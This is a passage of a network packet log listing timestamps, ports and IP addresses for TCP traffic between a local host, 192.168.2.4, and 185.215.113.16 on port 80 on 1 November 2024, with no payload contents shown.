Nov 1, 2024 08:50:19.889895916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889899969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889906883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889918089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889929056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889939070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889949083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889966011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889976978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889986992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889997005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890007973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890021086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890028000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890028000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890031099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890043974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890064001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890075922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890079975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890086889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890098095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890106916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890114069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890120029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890130043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890182018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890206099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890225887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890235901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890248060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890258074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890269041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890279055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890283108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890283108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890290022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890301943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890311956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890316963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890324116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890336037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890345097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890348911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890360117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890383959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890412092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890564919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890575886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890585899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890598059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890609026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890621901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890629053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890629053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890647888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890657902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890667915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890680075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890680075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890691042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890701056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890712976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890722990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890726089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890726089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890733004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890747070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890774012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890784025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890786886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890796900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890805960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890808105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890818119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890829086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890839100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890840054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890840054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890850067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890861034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890873909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890887022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890913963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890924931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890933990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890945911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890957117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890966892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.890966892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890966892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.890995026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891052961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891063929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891072989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891083002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891093969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891105890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891114950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891119003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891119003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891129017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891141891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891159058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891160011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891170979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891180038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891191006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891201973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891204119 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891211987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891228914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891233921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891238928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891249895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891259909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891273022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891288996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891288996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891297102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891308069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891324043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891335964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891335964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891484022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891501904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891511917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891522884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891535044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891544104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891556025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891556978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891556978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891566992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891585112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891591072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891591072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891608953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891624928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891625881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891637087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891647100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891658068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891669989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891671896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891681910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891693115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891701937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891712904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891715050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891715050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891725063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891737938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891748905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891752005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891758919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891771078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891781092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891792059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891803980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891803980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891823053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.891947985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891957998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891968012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891978025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891988993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.891999960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892004013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892010927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892023087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892024040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892035007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892043114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892043114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892047882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892077923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892079115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892090082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892098904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892110109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892119884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892129898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892143011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892148972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892148972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892153978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892164946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892175913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892184019 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892188072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892199993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892210007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892220974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892226934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892226934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892230988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892241955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892244101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892254114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892263889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892271996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892276049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892286062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892297983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892323017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892486095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892496109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892504930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892514944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892524958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892534971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892545938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892555952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892565966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892566919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892568111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892576933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892591000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892607927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892607927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892622948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892640114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892651081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892658949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892662048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892673016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892683983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892685890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892697096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892708063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892718077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892721891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892729044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892744064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892744064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892752886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892780066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892782927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892791986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892807961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892817974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892832994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892843008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892852068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892862082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892874002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892883062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892884970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892895937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892905951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892906904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892927885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892939091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892950058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892950058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.892951012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892956972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892967939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892978907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892988920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.892991066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.893001080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893012047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.893013000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893023968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.893024921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893037081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893040895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.893048048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893059969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893063068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.893069983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893081903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893093109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.893105030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.893105030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.893131018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.026169062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.026818037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.031121016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031157017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031169891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031219959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.031696081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031753063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031758070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.031766891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031790018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031800985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031817913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.031831026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031841993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031851053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031871080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.031871080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.031883001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031910896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031920910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031963110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.031977892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.031990051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032000065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032012939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032047033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032047033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032169104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032179117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032191992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032202959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032213926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032223940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032233953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032243967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032255888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032259941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032259941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032269955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032282114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032282114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032296896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032301903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032313108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032322884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032332897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032345057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032356024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032361984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032366991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032377005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032387018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032397985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032407999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032407999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032414913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032437086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032448053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032458067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.032463074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.032469034 CET	80	49738	185.215.113.16	192.168.2.4
